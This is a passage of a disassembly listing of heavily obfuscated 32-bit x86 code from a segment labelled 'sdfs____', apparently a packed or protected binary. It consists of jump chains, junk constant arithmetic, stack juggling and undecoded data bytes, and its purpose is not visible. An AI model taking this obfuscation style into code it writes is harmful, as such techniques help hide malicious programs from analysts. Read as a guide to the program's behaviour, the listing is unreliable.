		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5AB207
; ---------------------------------------------------------------------------


loc_5A480B:				; CODE XREF: sdfs____:005A7981j
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5A811D
; ---------------------------------------------------------------------------
		db 0E9h
		dd 825Bh, 4C6815Eh, 0E9000000h,	914Ah
; ---------------------------------------------------------------------------


loc_5A4828:				; CODE XREF: sdfs____:0059E049j
					; sdfs____:005AC728j
		not	ebp
		not	ebp
		sub	ebp, 2A6B1CDCh
		inc	ebp
		xor	ebp, 13B1E2B3h
		sub	edi, ebp
		jmp	loc_5A8499
; ---------------------------------------------------------------------------


loc_5A4840:				; CODE XREF: sdfs____:005A1AB7j
		push	ebx
		mov	ebx, 3A183923h
		sub	ebx, 574156E3h
		add	ebx, 33163057h
		jmp	loc_5A90A3
; ---------------------------------------------------------------------------


loc_5A4857:				; CODE XREF: sdfs____:005AA6F0j
		shl	edx, 3
		jnz	loc_5ABA4B
		jmp	loc_59F2D1
; ---------------------------------------------------------------------------
aXsal		db 'Xéí‹',0
		dw 5300h
		dd 6EC1F781h, 956856CAh, 89000026h, 3AB82404h, 295165CAh
		dd 7EA7E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4886:				; CODE XREF: sdfs____:005A9A40j
		push	ebp
		jmp	loc_59FBEF
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 3C8904ECh, 34FF5424h, 94E95F24h, 53000094h
		dd 4B951h, 0E9510000h, 3DA5h, 405h, 0C96DE900h,	70BDFFFFh
		dd 31D157C0h, 9702E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A48C2:				; CODE XREF: sdfs____:005A533Bj
		mov	edx, 2E590EE5h
		or	edx, 49D206EDh
		add	edx, 9024F117h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5ACC75
; ---------------------------------------------------------------------------


loc_5A48E1:				; CODE XREF: sdfs____:0059D6D5j
		push	edi
		push	ebx
		mov	ebx, 0EF14EA3h
		add	ebx, 2F3028E6h
		jz	loc_59A7E7
		push	ebp
		mov	ebp, 1AF37417h
		xor	ebx, ebp
		jmp	loc_5AB1F0
; ---------------------------------------------------------------------------


loc_5A4901:				; CODE XREF: sdfs____:005A5E35j
		add	edx, 35924E3h
		sub	edx, 44C62DEAh
		xor	edx, 0FD10F4D2h
		add	ebp, edx
		jmp	loc_5A01EE
; ---------------------------------------------------------------------------


loc_5A491A:				; CODE XREF: sdfs____:0059AECBj
		sub	esp, 4
		jmp	loc_5A5FA6
; ---------------------------------------------------------------------------


loc_5A4922:				; CODE XREF: sdfs____:00599C96j
		add	[esp+8], ebp
		pop	ebp
		add	[esp+4], ebx
		push	45ACh
		mov	[esp], ebp
		mov	ebp, 50C574C4h
		sub	[esp+8], ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		jmp	loc_5AF684
; ---------------------------------------------------------------------------


loc_5A494A:				; CODE XREF: sdfs____:005A0734j
		sub	esi, 32E967A7h
		add	esi, 4CE01FCAh
		pop	edx
		jmp	loc_5AE342
; ---------------------------------------------------------------------------


loc_5A495C:				; CODE XREF: sdfs____:005ABA06j
					; sdfs____:005AE7DCj
		add	esp, 4
		movzx	eax, al
		jmp	loc_5A9C98
; ---------------------------------------------------------------------------


loc_5A4967:				; CODE XREF: sdfs____:005A19F9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5A5698
; ---------------------------------------------------------------------------


loc_5A4979:				; CODE XREF: sdfs____:005B019Bj
		sub	edi, esi
		jmp	loc_59D336
; ---------------------------------------------------------------------------


loc_5A4980:				; CODE XREF: sdfs____:0059F2F2j
		add	ebx, ebp
		jmp	loc_599276
; ---------------------------------------------------------------------------


loc_5A4987:				; CODE XREF: sdfs____:005AC25Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FF45A43h
		xor	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		push	402Fh
		mov	[esp], eax
		mov	eax, 7D9A06A0h
		shr	eax, 2
		xor	eax, 1F6681ACh
		add	esi, 34F2643Ah
		add	esi, eax
		sub	esi, 34F2643Ah
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_59D639
		push	48CBh
		jmp	loc_5AAB33
; ---------------------------------------------------------------------------
		dw 1C89h
aStz		db '$étz',0
		align 2
		dw 895Ch
		dd 0E2892414h, 2963E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A49FE:				; CODE XREF: sdfs____:0059C1E4j
		add	esi, ebp
		jmp	loc_5A0916
; ---------------------------------------------------------------------------


loc_5A4A05:				; CODE XREF: sdfs____:0059B54Fj
		pop	ecx
		not	ebx
		sub	ebx, 0C088B604h
		add	edi, 64DF298Ch
		push	eax
		mov	eax, 1177745Ah
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		jmp	loc_59EFFA
; ---------------------------------------------------------------------------


loc_5A4A27:				; CODE XREF: sdfs____:005AFBC1j
		xor	[esp], ebx
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	296Dh
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A18BC
; ---------------------------------------------------------------------------


loc_5A4A5C:				; CODE XREF: sdfs____:005A2715j
		pop	ebp
		add	ebp, 4
		jmp	loc_59CBE1
; ---------------------------------------------------------------------------


loc_5A4A68:				; CODE XREF: sdfs____:0059927Ej
		mov	[esp], ecx
		mov	ecx, 3A32451Bh
		push	edx
		push	ecx
		mov	ecx, 1CF72C33h
		mov	edx, 3ADA0012h
		add	edx, ecx
		pop	ecx
		inc	edx
		push	eax
		push	ecx
		mov	ecx, 7BF35FCFh
		jmp	loc_59F376
; ---------------------------------------------------------------------------


loc_5A4A8C:				; CODE XREF: sdfs____:005ADBA0j
		sub	edx, 0FB914DDCh
		jmp	loc_5AD178
; ---------------------------------------------------------------------------


loc_5A4A97:				; CODE XREF: sdfs____:0059F0C2j
		push	eax
		mov	ah, bl
		jmp	loc_5A8E92
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 4BD242Ch, 1000000h
		dd 0B6E3E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4ABE:				; CODE XREF: sdfs____:0059D345j
		pop	eax
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AA2D1
; ---------------------------------------------------------------------------
		dd 8B240487h, 0CD32424h, 62E99C24h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4AFB:				; CODE XREF: sdfs____:005A18E7j
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		sub	esi, 14605994h
		inc	esi
		jmp	loc_5AAD9D
; ---------------------------------------------------------------------------


loc_5A4B10:				; CODE XREF: sdfs____:0059BA30j
		mov	cx, [esp]
		push	0DF1h
		jmp	loc_5A0C48
; ---------------------------------------------------------------------------
word_5A4B1E	dw 34FFh		; DATA XREF: sdfs____:00598FB0o
		dd 0FD66E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4B26:				; CODE XREF: sdfs____:0059E6DBj
					; sdfs____:005A2161j
		dec	dh
		add	dh, 0FFh
		sub	esp, 4
		mov	[esp], eax
		mov	al, 92h
		sub	al, 0E1h
		add	al, 0AAh
		jmp	loc_59CE75
; ---------------------------------------------------------------------------


loc_5A4B3F:				; CODE XREF: sdfs____:005A51B0j
					; sdfs____:005ACC5Aj
		sub	eax, ebx
		add	eax, 4F13055Eh
		pop	ebx
		jmp	loc_59FC40
; ---------------------------------------------------------------------------


loc_5A4B4C:				; CODE XREF: sdfs____:005A7FFDj
		pop	edx
		sub	edx, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_59F6EE
; ---------------------------------------------------------------------------
		dd 0C82DD801h, 682CBA30h, 1B92h, 0BD242C89h, 5F5E698Fh
		dd 555DE829h, 0CE664BBDh, 47BA5239h, 0C130142Dh, 0E2C103EAh
		dd 0DCF28106h, 29856444h, 4E95AD5h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4B8F:				; CODE XREF: sdfs____:005A2651j
		sub	ecx, 4
		jmp	loc_5A14A8
; ---------------------------------------------------------------------------


loc_5A4B9A:				; CODE XREF: sdfs____:005A1DAFj
		or	edi, 2F12634Ch
		sub	edi, 6A0E4DBBh
		inc	edi
		xor	edi, 7DDA4726h
		jmp	loc_5A7238
; ---------------------------------------------------------------------------


loc_5A4BB2:				; CODE XREF: sdfs____:0059C35Aj
		jmp	loc_5A55FC
; ---------------------------------------------------------------------------


loc_5A4BB7:				; CODE XREF: sdfs____:0059D876j
		sub	cl, 0DFh
		jmp	loc_5A1A1D
; ---------------------------------------------------------------------------


loc_5A4BBF:				; CODE XREF: sdfs____:005A0DF4j
					; sdfs____:005AAE55j
		pop	eax
		xor	dh, 56h
		push	edx
		mov	dh, 0D5h
		sub	al, dh
		pop	edx
		sub	al, dh
		jmp	loc_59D6E7
; ---------------------------------------------------------------------------


loc_5A4BD0:				; CODE XREF: sdfs____:0059FEDEj
					; sdfs____:005AFCBCj
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	591Eh
		mov	[esp], esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A4BF9:				; CODE XREF: sdfs____:005A6870j
		mov	ch, 84h
		not	ch
		or	ch, 3Fh
		jmp	loc_5A9AE3
; ---------------------------------------------------------------------------


loc_5A4C05:				; CODE XREF: sdfs____:005AC30Bj
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, 1D8A12C6h
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		not	esi
		xor	esi, 57B836AEh
		xor	ebx, esi
		pop	esi
		inc	ebx
		add	ebx, 6CF924EDh
		push	4B6Dh
		mov	[esp], ecx
		mov	ecx, 14703D70h
		or	ebx, ecx
		pop	ecx
		xor	ebx, 9FFC7D7Ah
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		jmp	loc_599392
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 1A0FEF81h, 17E97ECDh
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4C63:				; CODE XREF: sdfs____:005A51D2j
		add	ebx, 58501CD7h
		jmp	loc_5AB1D1
; ---------------------------------------------------------------------------
aIusub		db '䋎uB',0
		db 0
; ---------------------------------------------------------------------------


loc_5A4C75:				; CODE XREF: sdfs____:005A85FEj
		add	ebx, 1F06FFEAh
		add	ebx, 4BE25305h
		push	esi
		mov	esi, 21412F7Fh
		inc	esi
		jmp	loc_5AAE97
; ---------------------------------------------------------------------------


loc_5A4C8D:				; CODE XREF: sdfs____:loc_5A9296j
		or	esi, 7B9E1251h
		jnp	loc_5ACF77
		add	esi, 10012552h
		jmp	loc_59D216
; ---------------------------------------------------------------------------
		db 55h
; ---------------------------------------------------------------------------


loc_5A4CA5:				; CODE XREF: sdfs____:005A1104j
					; sdfs____:005AD075j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	eax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 6Bh
		mov	ah, 0E4h
		push	ecx
		jmp	loc_5ABB77
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 4549A104h, 2444016Fh, 0A1BF5704h, 296F4549h,	5F08247Ch
		dd 318CBB53h, 0D6E97C0Dh, 570000ADh, 0FF2414F7h, 0D0E92434h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4CF3:				; CODE XREF: sdfs____:0059C776j
		push	ebp
		mov	ebp, 261E77E0h
		mov	ecx, ebp
		jmp	loc_5AAA1B
; ---------------------------------------------------------------------------
		dd 5804C483h, 347BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4D09:				; CODE XREF: sdfs____:0059BDB1j
		add	esi, 4
		push	ebp
		jmp	loc_5ABCA8
; ---------------------------------------------------------------------------


loc_5A4D15:				; CODE XREF: sdfs____:005A669Fj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A29B2
; ---------------------------------------------------------------------------


loc_5A4D20:				; CODE XREF: sdfs____:005AC1D3j
		xor	esi, 8BBBEB1h
		mov	ecx, esi
		jmp	loc_59F715
; ---------------------------------------------------------------------------


loc_5A4D2D:				; CODE XREF: sdfs____:005AA28Fj
		xor	ebp, 3F8E4122h
		jmp	loc_5A5130
; ---------------------------------------------------------------------------


loc_5A4D38:				; CODE XREF: sdfs____:005AE5B3j
		push	edi
		pop	edx
		pop	edi
		add	esi, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5AFD5F
; ---------------------------------------------------------------------------


loc_5A4D55:				; CODE XREF: sdfs____:0059A579j
		sub	eax, ebp
		add	eax, 4CBE1F70h
		pop	ebp
		add	eax, ebp
		add	eax, 531F13C2h
		pop	ebp
		push	ebp
		mov	ebp, 2
		sub	eax, ebp
		pop	ebp
		push	5B3Eh
		jmp	loc_5AF01E
; ---------------------------------------------------------------------------
		dd 0B850E689h, 4, 8158C601h, 4C6h, 24348700h, 964AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4D91:				; CODE XREF: sdfs____:005AD796j
		mov	ebp, 1DF80A6Dh
		push	ebp
		push	ecx
		jmp	loc_59B4C8
; ---------------------------------------------------------------------------
byte_5A4D9D	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00598F2Co
aHcn		db '$h—n',0
		align 2
		dw 1C89h
		dd 4EC8124h, 89000000h,	4832424h, 6CE90424h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4DBB:				; CODE XREF: sdfs____:005ABF49j
		mov	eax, 3EF85A62h
		jmp	loc_5AB871
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0B7h
		dd 89FFFF4Dh, 3B86E9E0h, 0C2800000h, 288B04C4h,	8B8B2CD0h
		dd 0C6E92414h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4DE3:				; CODE XREF: sdfs____:005A8168j
		sub	ecx, 7D8C0548h
		add	ecx, edx
		add	ecx, 7D8C0548h
		jmp	loc_5AA705
; ---------------------------------------------------------------------------


loc_5A4DF6:				; CODE XREF: sdfs____:005A0AD9j
		pop	edx
		jmp	loc_59C325
; ---------------------------------------------------------------------------
dword_5A4DFC	dd 0E9242430h, 0FFFF8981hdword_5A4E04	dd 4EC81ADh, 89000000h,	6856242Ch, 2569h, 68240C89h, 64A113EEh
					; DATA XREF: sdfs____:00598F30o
		dd 8BCE8959h, 0C481240Ch, 4, 74EE81h, 0BD552A5Eh, 81B48C6h
		dd 34FFEE31h, 0F7E95D24h, 53FFFFECh, 0BE9E389h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4E47:				; CODE XREF: sdfs____:005A38C7j
		jmp	loc_5A8C3A
; ---------------------------------------------------------------------------


loc_5A4E4C:				; CODE XREF: sdfs____:005AECF1j
		mov	[esp], edi
		jmp	loc_5ADA78
; ---------------------------------------------------------------------------


loc_5A4E54:				; CODE XREF: sdfs____:0059FEFDj
		sub	ebx, 0FACFB226h
		push	ebx
		jmp	loc_5AD6BD
; ---------------------------------------------------------------------------


loc_5A4E60:				; CODE XREF: sdfs____:005B041Cj
		mov	edx, 28896C63h
		xor	edx, 63CE4CE2h
		jnp	loc_5A9358
		and	edx, 39FF7BDFh
		jge	loc_5AA85A
		inc	edx
		jns	loc_59BF49
		mov	bh, cl
		mov	ch, 7Ch


loc_5A4E88:				; CODE XREF: sdfs____:005A3A5Fj
		add	esp, 4
		sub	bp, 5BD0h
		add	bp, ax
		add	bp, 5BD0h
		pop	eax
		mov	bx, bp
		pop	ebp
		add	[esp+2], bx
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 24148B58h, 81E78957h, 4C7h, 4C78100h, 87000000h, 875C243Ch
		dd 248B242Ch, 0C8B70F24h, 40E68h, 240C8900h, 3A4368h, 24248900h
		dd 4240483h, 4EC8359h, 68241489h, 39846502h, 5B73E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4EFA:				; CODE XREF: sdfs____:loc_5A001Fj
		xor	ebx, 3AE29D4Ah
		jmp	loc_5A2060
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0Ah
		dd 81554C55h, 30540EC3h, 8BD90113h, 0C483241Ch,	4C18104h
		dd 87000000h, 535C240Ch, 69FBE9h
		db 0
byte_5A4F29	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:00598E68o
aWicqs		db '$W‰çQé\:',0
		align 2
		dw 0F581h
		dd 1844903h, 9AABE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4F41:				; CODE XREF: sdfs____:005A1097j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_59C548
; ---------------------------------------------------------------------------


loc_5A4F50:				; CODE XREF: sdfs____:005B0238j
		push	ax
		jmp	loc_5A6A62
; ---------------------------------------------------------------------------
		db 1
		dd 0C8C781F7h, 81316D31h, 9B0B80C7h, 81DBE912h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4F6A:				; CODE XREF: sdfs____:loc_5A93DEj
		and	eax, 7E37516Dh
		jle	loc_59D5EA
		or	eax, 21351BA3h
		sub	eax, 0C4374449h
		jmp	loc_5AC258
; ---------------------------------------------------------------------------


loc_5A4F84:				; CODE XREF: sdfs____:0059C069j
					; sdfs____:005A7233j
		shr	ecx, 3
		sub	ecx, 432D7FBAh
		not	ecx
		jmp	loc_59BAF7
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 7EA0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4FA2:				; CODE XREF: sdfs____:loc_5A9074j
		sub	ebx, 10526431h
		sub	ebx, eax
		add	ebx, 10526431h
		sub	ebx, 1CA76F30h
		pop	eax
		jmp	loc_5AA73D
; ---------------------------------------------------------------------------
		dd 0FF240C89h, 8B042474h, 0C483240Ch, 24048F04h, 148B665Ch
		dd 4EC8324h, 89240C89h,	64BD55E1h, 81607D3Dh, 0E832B3E5h
		dd 52D5F709h, 1542DEBAh, 0E1CE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4FF2:				; CODE XREF: sdfs____:0059AFF0j
		sub	dword ptr [esp], 8112199h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A363B
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0B9510000h, 18784D0Bh, 1CAEBF57h, 0CEE90E33h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A501B:				; CODE XREF: sdfs____:loc_5ACD01j
		xor	ecx, 4BCCCF90h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5A06DD
; ---------------------------------------------------------------------------


loc_5A5029:				; CODE XREF: sdfs____:0059F5E9j
		add	esp, 2
		sub	cl, ah
		pop	eax
		pop	ebx
		add	cl, ah
		sub	cl, 54h
		jmp	loc_59FAB4
; ---------------------------------------------------------------------------


loc_5A503A:				; CODE XREF: sdfs____:005AA631j
		push	ebx
		push	236D7FEBh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebx, 7ED42BB4h
		jmp	loc_5A95DF
; ---------------------------------------------------------------------------
		dw 5748h
		dd 0DF440FBFh, 5FF82946h, 0E28D62Dh, 0E9D0F743h, 15F6h
; ---------------------------------------------------------------------------


loc_5A5070:				; CODE XREF: sdfs____:005AA4F2j
		pop	esp
		mov	[esp], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A507A:				; CODE XREF: sdfs____:00599C9Dj
		mov	ebx, 72401F68h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5A1703
; ---------------------------------------------------------------------------


loc_5A5087:				; CODE XREF: sdfs____:005A87D2j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A9CAE
; ---------------------------------------------------------------------------


loc_5A5090:				; CODE XREF: sdfs____:0059A02Ej
					; sdfs____:005A3A0Cj
		push	dword ptr [esp]
		jmp	loc_5A37CE
; ---------------------------------------------------------------------------


loc_5A5098:				; CODE XREF: sdfs____:0059C740j
		xor	ebx, [esp]
		pop	esp
		push	664Dh
		mov	[esp], edx
		push	eax
		push	edx
		push	ecx
		push	6FCB7557h
		mov	ecx, [esp]
		jmp	loc_5AA810
; ---------------------------------------------------------------------------


loc_5A50B4:				; CODE XREF: sdfs____:0059E205j
		bt	[esp], ax
		pushf
		jmp	loc_5A9039
; ---------------------------------------------------------------------------


loc_5A50BF:				; CODE XREF: sdfs____:0059FC3Bj
		pop	ebp
		pop	ecx
		or	ebp, 2C7F78C0h
		add	ebp, 5ED3471Dh
		inc	ebp
		push	edx
		mov	edx, 7D2E2A82h
		push	edi
		mov	edi, 5A2F0702h
		and	edi, 6B84E5Ah
		jmp	loc_5A37DF
; ---------------------------------------------------------------------------


loc_5A50E5:				; CODE XREF: sdfs____:005A249Ej
		mov	edi, 1
		add	edx, edi
		pop	edi
		xor	edx, 598F1DC7h
		jmp	loc_59BCFA
; ---------------------------------------------------------------------------


loc_5A50F8:				; CODE XREF: sdfs____:0059A19Ej
		pop	edx
		jmp	loc_5ABD8E
; ---------------------------------------------------------------------------


loc_5A50FE:				; CODE XREF: sdfs____:0059B431j
		pop	ecx
		or	ecx, 29940583h
		jmp	loc_59E0CA
; ---------------------------------------------------------------------------
		dw 342Dh
		dd 143B00Ch, 0C3405D8h,	555B43B0h, 4BDh, 2EF30500h, 76E944D9h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A5127:				; CODE XREF: sdfs____:005A76C4j
		mov	[esp], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A5130:				; CODE XREF: sdfs____:005A4D33j
		sub	ecx, 750116DBh
		jmp	loc_59BAB5
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF88C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5141:				; CODE XREF: sdfs____:005A5FC2j
		jmp	loc_5AA7DF
; ---------------------------------------------------------------------------


loc_5A5146:				; CODE XREF: sdfs____:005A5CA8j
		push	esi
		mov	esi, 10F64236h
		sub	[esp+8], esi
		jmp	loc_5A1976
; ---------------------------------------------------------------------------


loc_5A5155:				; CODE XREF: sdfs____:005AED56j
		pop	ecx
		sub	eax, 58500645h
		add	eax, ebp
		add	eax, 58500645h
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_59C767
; ---------------------------------------------------------------------------


loc_5A5176:				; CODE XREF: sdfs____:0059DC33j
		add	esp, 2
		push	cx
		push	bx
		mov	bh, 6Bh
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		pop	bx
		jmp	loc_5A7B85
; ---------------------------------------------------------------------------


loc_5A518C:				; CODE XREF: sdfs____:005AF285j
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A7028
; ---------------------------------------------------------------------------
		db 0F6h, 0D0h, 0E9h
		dd 0FFFFDAA7h
; ---------------------------------------------------------------------------


loc_5A51A0:				; CODE XREF: sdfs____:005A0279j
		mov	ebx, 69012CA1h
		add	ebx, 92A676BFh
		sub	eax, 4F13055Eh
		jmp	loc_5A4B3F
; ---------------------------------------------------------------------------


loc_5A51B5:				; CODE XREF: sdfs____:005ADCE3j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5B008F
; ---------------------------------------------------------------------------


loc_5A51C4:				; CODE XREF: sdfs____:005AD8A4j
		pop	edx
		push	ebx
		mov	ebx, 2AE01094h
		dec	ebx
		sub	ebx, 4CF5D71h
		jmp	loc_5A4C63
; ---------------------------------------------------------------------------


loc_5A51D7:				; CODE XREF: sdfs____:005A0273j
		mov	edi, 2532386Ah
		shl	edi, 1
		shl	edi, 2
		add	edi, 0E05AB439h
		xor	ebp, edi
		pop	edi
		jmp	loc_5A6A24
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0AB2288h, 1E7B0D00h,	742D64B1h, 0E94FCF2Fh, 62A8h
; ---------------------------------------------------------------------------


loc_5A5204:				; CODE XREF: sdfs____:0059C1C6j
		mov	edi, 3E3B5A31h
		sub	edi, 3CAD823Bh
		sub	ebp, edi
		pop	edi
		mov	ebx, ebp
		jmp	loc_5A30EB
; ---------------------------------------------------------------------------


loc_5A5219:				; CODE XREF: sdfs____:0059D6BEj
					; sdfs____:0059ED73j
		pop	dword ptr [esp]
		pop	esp
		and	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5AC67F
; ---------------------------------------------------------------------------


loc_5A522E:				; CODE XREF: sdfs____:005AE7FEj
					; DATA XREF: sdfs____:00598FCCo
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	5F6Dh
		push	esp
		jmp	loc_5A739B
; ---------------------------------------------------------------------------


loc_5A5243:				; CODE XREF: sdfs____:0059AB0Fj
		add	edi, 3D9CDE1Ch
		mov	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, 60E27D6Eh
		xor	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5A47CF
; ---------------------------------------------------------------------------


loc_5A525C:				; CODE XREF: sdfs____:005A3A68j
		sub	dword ptr [esp+4], 26023989h
		jmp	loc_5A9932
; ---------------------------------------------------------------------------


loc_5A5269:				; CODE XREF: sdfs____:0059B43Dj
		push	esi
		mov	esi, 7C207693h
		jmp	loc_5AA277
; ---------------------------------------------------------------------------


loc_5A5274:				; CODE XREF: sdfs____:005AAA33j
		xchg	esi, [esp]
		jmp	loc_5A52CC
; ---------------------------------------------------------------------------
		dd 0B6241489h, 0E7C5807Ch, 0ED80F528h, 24148BE7h, 0FFAA15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5291:				; CODE XREF: sdfs____:loc_59CA8Fj
					; sdfs____:005A6D6Dj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A79E3
; ---------------------------------------------------------------------------


loc_5A529C:				; CODE XREF: sdfs____:005A13DFj
		add	edx, 1AAB65F2h
		not	edx
		push	240h
		mov	[esp], eax
		jmp	loc_59BF9E
; ---------------------------------------------------------------------------


loc_5A52B1:				; CODE XREF: sdfs____:005A8546j
		pop	eax
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 7BA20562h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_59ED20
; ---------------------------------------------------------------------------


loc_5A52CC:				; CODE XREF: sdfs____:005A5277j
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_5AFBB3
; ---------------------------------------------------------------------------


loc_5A52D9:				; CODE XREF: sdfs____:005AD54Aj
		mov	[esp], eax
		mov	eax, 854021Ah
		xor	edi, eax
		pop	eax
		jmp	loc_5A7B4C
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0F3h
		dd 29163773h, 0EF0159CFh, 73F3C781h, 80E91637h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A52FF:				; CODE XREF: sdfs____:0059E1DFj
		add	eax, edx
		pop	edx
		add	eax, 5CF803E6h
		sub	eax, 55C02C53h
		jmp	loc_59EBDC
; ---------------------------------------------------------------------------


loc_5A5311:				; CODE XREF: sdfs____:0059DE66j
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_59DCD1
; ---------------------------------------------------------------------------


loc_5A531E:				; CODE XREF: sdfs____:0059F121j
		mov	edi, 4
		sub	esi, 732A125Bh
		add	esi, edi
		jmp	loc_5A57C4
; ---------------------------------------------------------------------------
dword_5A5330	dd 582434FFh, 0FF9AEBE9h		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5339:				; CODE XREF: sdfs____:0059E971j
		pop	edi
		push	edx
		jmp	loc_5A48C2
; ---------------------------------------------------------------------------


loc_5A5340:				; CODE XREF: sdfs____:005A7A20j
					; sdfs____:005A8D07j
		push	edx
		mov	edx, 4
		jmp	loc_5A9D92
; ---------------------------------------------------------------------------


loc_5A534B:				; CODE XREF: sdfs____:0059E5E1j
		mov	edi, [esp]
		push	4012h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A16DA
; ---------------------------------------------------------------------------


loc_5A5367:				; CODE XREF: sdfs____:005A9142j
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_5A76C9
; ---------------------------------------------------------------------------


loc_5A5375:				; CODE XREF: sdfs____:005B00D3j
		mov	[esp], ebp
		mov	ebp, 0CDD45F06h
